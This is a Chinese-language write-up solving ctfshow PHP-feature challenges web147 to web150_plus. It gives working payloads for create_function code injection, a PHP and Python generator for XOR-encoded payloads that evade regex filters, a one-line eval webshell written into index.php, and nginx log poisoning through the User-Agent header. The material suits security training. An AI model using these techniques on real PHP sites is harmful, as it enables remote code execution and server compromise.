目录
1、web147
2、web148
3、web149
4、web150
5、web150_plus
1、web147
^:匹配字符串的开头。
$:匹配字符串的结尾,确保整个字符串符合规则。
[a-z0-9_]:表示允许小写字母、数字和下划线。
*:匹配零个或多个前面的字符。
/i:忽略大小写。
s:匹配包括换行符在内的所有字符。
D(PCRE 特有):美元符号 $ 仅匹配字符串的实际末尾,不匹配结尾的换行符。
这里只需要让 $ctfshow 里面有其他字符即可满足 if 判断。
在 PHP 中,命名空间(namespace)提供了一种组织代码的方式,可以避免类、函数和常量名称的冲突。默认情况下,PHP 的函数和类都在全局命名空间 \ 中。全局命名空间中的函数和类:在任何命名空间中调用全局函数和类时,需要使用绝对路径(以 \ 开头)。 自定义命名空间中的函数和类:在同一命名空间中调用时,可以直接使用名称;在其他命名空间中调用时,需要使用完整的命名空间路径。
这里可以通过 create_function 函数来实现命令执行
用法:create_function(string $args, string $code)
$args:参数列表,用逗号分隔的参数名字符串。
$code:函数体,包含函数的实际代码。
示例:
$func = create_function('$a', 'echo $a."123";');
$func('Hello'); // 输出 Hello123
create_function 动态创建一个匿名函数,其中 $a 是参数,'echo $a."123";' 是函数体,该方法已在 PHP 7.2.0 中弃用。
等价于:
function f($a) {
echo $a . "123";
}
f('Hello'); // 输出 Hello123
create_function 存在注入风险,我们这里先闭合前面的 { ,再注释后面的 }
构造 payload:
?show=}system('ls');//
ctf=\create_function
注释也可以采用 /*
?show=}system('tac flag.php');/*
ctf=\create_function
拿到 flag:ctfshow{bd66d045-7a58-4af0-9079-d8c51f64c9cc}
2、web148
没有过滤异或符号,那就直接 rce 咯。
生成可用字符的字典:
<?php
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(2,'/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/');
//1代表模式,后面的是过滤规则
生成 payload:
# -*- coding: utf-8 -*-
def action(arg):
s1 = ""
s2 = ""
with open("rce.txt", "r") as f:
lines = f.readlines()
for i in arg:
for line in lines:
if line.startswith(i):
s1 += line[2:5]
s2 += line[6:9]
break
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return output
while True:
function_input = input("\n[+] 请输入你的函数:")
command_input = input("[+] 请输入你的命令:")
param = action(function_input) + action(command_input)
print("\n[*] 构造的Payload:", param)
构造 payload:
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0c%08"^"%60%7b");
生成读取 flag 的 payload:
传参:
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
拿到 flag:ctfshow{b2e0527d-c9f5-4628-9232-d6de59b4f2c2}
预期解是使用中文变量,中文也可以作为变量名,绕过正则,payload:
?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其实也是通过异或,"`{{{"^"?<>/"; 异或出来就是 _GET
当然还有其他异或的情况:
对双引号进行一下转义即可,payload:
?code=$额="\"<>)"^"}{{}";${$额}[一](${$额}[二]);&一=system&二=tac f*
3、web149
代码审计:
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
scandir('./');:扫描当前目录,并返回目录中的文件和文件夹名的数组。
foreach($files as $file) { ... }:遍历数组中的每一个文件。
if(is_file($file)){ ... }:检查是否为文件(而不是目录)。
if ($file !== "index.php") { ... }:检查文件名是否不是 index.php。
unlink($file);:删除文件。
也就是说当前目录下只能存在 index.php,预期解是通过条件竞争实现,但我们其实可以直接将一句话木马写进 index.php。
file_put_contents($_GET['ctf'], $_POST['show']);
file_put_contents() 函数把一个字符串写入文件中,这里是将 POST 请求中的 show 数据写入以 GET 请求中 ctf 参数指定的文件中。
payload:
?ctf=index.php
show=<?php eval($_POST[1])?>
调用:
1=system('cat /ctfshow_fl0g_here.txt');
拿到 flag:ctfshow{da4e2ab9-7b7a-4808-ad25-462d00167195}
4、web150
要求 $isVIP 为真,存在 extract($_GET) 可以实现变量覆盖,传入 ?isVIP=1;
strrpos($ctf, ":")===FALSE 要求 $ctf 不能有冒号,伪协议就用不上了;
但 include($ctf); 可以进行日志文件包含,payload:
?isVIP=1
ctf=/var/log/nginx/access.log
可以看到是 user-agent 的内容,使用 burpsuite 抓包,在 ua 插入想要执行的代码 :
<?php system('ls');?>
读取 flag.php:
<?php system('tac flag.php');?>
拿到 flag:ctfshow{43581126-c1de-4fc7-97a5-268428a5e2c8}
5、web150_plus
新增对 $ctf 过滤 log,日志包含行不通。
payload:
?..CTFSHOW..=phpinfo
居然把 phpinfo 给调出来了,检索 ctfshow 即可找到 flag。
ctfshow{8a30968a-6b41-49ff-ae79-8037d8cec776} |
变量 ..CTFSHOW.. 会解析成 __CTFSHOW__ ,因为非法的字符会转成下划线,然后进行了变量覆盖,__CTFSHOW__ 变量被设置为 phpinfo,if(class_exists($__CTFSHOW__)) 会检查 __CTFSHOW__ 是否是一个已定义的类,在这种情况下,$__CTFSHOW__ 被设置为 phpinfo,所以 if(class_exists('phpinfo')) 会被执行,因为 phpinfo 不是一个类名,class_exists 返回 false,当代码试图访问一个未定义的类( __CTFSHOW__)时,PHP 会调用 __autoload 函数,__autoload('phpinfo'); 会执行 phpinfo() 函数,因为 phpinfo 是一个内置函数。
至此,ctfshow-web入门-php特性完结。
20240727,Myon